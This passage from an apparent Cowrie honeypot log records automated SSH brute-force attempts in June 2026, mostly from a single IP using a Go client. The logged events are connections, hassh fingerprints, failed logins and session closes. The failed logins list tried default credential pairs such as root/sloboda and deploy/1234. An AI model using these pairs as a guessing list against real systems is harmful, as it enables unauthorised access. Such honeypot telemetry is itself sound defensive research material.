ha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:04.425486Z","src_ip":"91.92.42.133","session":"900a4f393c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:07.802982Z","src_ip":"91.92.42.133","session":"900a4f393c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:09.862572Z","src_ip":"91.92.42.133","session":"900a4f393c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6212c1ec57b","protocol":"ssh","message":"New connection: 91.92.42.133:48154 (159.203.135.109:22) [session: e6212c1ec57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:11.300535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:11.949510Z","src_ip":"91.92.42.133","session":"e6212c1ec57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:11.953106Z","src_ip":"91.92.42.133","session":"e6212c1ec57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:15.920647Z","src_ip":"91.92.42.133","session":"e6212c1ec57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:17.530382Z","src_ip":"91.92.42.133","session":"e6212c1ec57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53598,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea102806eeb","protocol":"ssh","message":"New connection: 91.92.42.133:53598 (159.203.135.109:22) [session: fea102806eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:18.223078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:18.671719Z","src_ip":"91.92.42.133","session":"fea102806eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:18.674731Z","src_ip":"91.92.42.133","session":"fea102806eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:21.226233Z","src_ip":"91.92.42.133","session":"fea102806eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:22.759004Z","src_ip":"91.92.42.133","session":"fea102806eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49966,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2a90a22a06a","protocol":"ssh","message":"New connection: 91.92.42.133:49966 (159.203.135.109:22) [session: f2a90a22a06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:26.076090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:26.471021Z","src_ip":"91.92.42.133","session":"f2a90a22a06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:26.493649Z","src_ip":"91.92.42.133","session":"f2a90a22a06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:28.589485Z","src_ip":"91.92.42.133","session":"f2a90a22a06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:30.319696Z","src_ip":"91.92.42.133","session":"f2a90a22a06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50032,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eb7162f3287","protocol":"ssh","message":"New connection: 91.92.42.133:50032 (159.203.135.109:22) [session: 2eb7162f3287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:33.125873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:33.397720Z","src_ip":"91.92.42.133","session":"2eb7162f3287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:33.402657Z","src_ip":"91.92.42.133","session":"2eb7162f3287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:34.981870Z","src_ip":"91.92.42.133","session":"2eb7162f3287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:36.305607Z","src_ip":"91.92.42.133","session":"2eb7162f3287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57886,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7e4dc4378a5","protocol":"ssh","message":"New connection: 91.92.42.133:57886 (159.203.135.109:22) [session: e7e4dc4378a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:40.328411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:40.652414Z","src_ip":"91.92.42.133","session":"e7e4dc4378a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:40.655913Z","src_ip":"91.92.42.133","session":"e7e4dc4378a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"b226ddc574ac","protocol":"ssh","message":"New connection: 103.27.238.116:42620 (10.17.0.5:22) [session: b226ddc574ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:42.255248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:42.259617Z","src_ip":"103.27.238.116","session":"b226ddc574ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:42.521599Z","src_ip":"103.27.238.116","session":"b226ddc574ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:42.819215Z","src_ip":"91.92.42.133","session":"e7e4dc4378a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sloboda","message":"login attempt [root/sloboda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:43.300125Z","src_ip":"103.27.238.116","session":"b226ddc574ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:44.316561Z","src_ip":"91.92.42.133","session":"e7e4dc4378a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:44.561211Z","src_ip":"103.27.238.116","session":"b226ddc574ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59064,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcbb582b6274","protocol":"ssh","message":"New connection: 91.92.42.133:59064 (159.203.135.109:22) [session: bcbb582b6274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:46.688599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:47.258523Z","src_ip":"91.92.42.133","session":"bcbb582b6274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:47.261990Z","src_ip":"91.92.42.133","session":"bcbb582b6274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:49.549125Z","src_ip":"91.92.42.133","session":"bcbb582b6274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eacc36c9bb9","protocol":"telnet","message":"New connection: 172.81.62.90:47138 (10.17.0.5:23) [session: 6eacc36c9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:49.889473Z"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:51.118685Z","src_ip":"91.92.42.133","session":"bcbb582b6274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59086,"dst_ip":"159.203.135.109","dst_port":22,"session":"be7186af200c","protocol":"ssh","message":"New connection: 91.92.42.133:59086 (159.203.135.109:22) [session: be7186af200c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:54.116640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:54.393413Z","src_ip":"91.92.42.133","session":"be7186af200c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:54.416606Z","src_ip":"91.92.42.133","session":"be7186af200c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:56.446938Z","src_ip":"91.92.42.133","session":"be7186af200c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:58.021363Z","src_ip":"91.92.42.133","session":"be7186af200c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":10900,"dst_ip":"10.17.0.5","dst_port":22,"session":"2beb6e109e83","protocol":"ssh","message":"New connection: 117.121.214.50:10900 (10.17.0.5:22) [session: 2beb6e109e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:58.470231Z"}
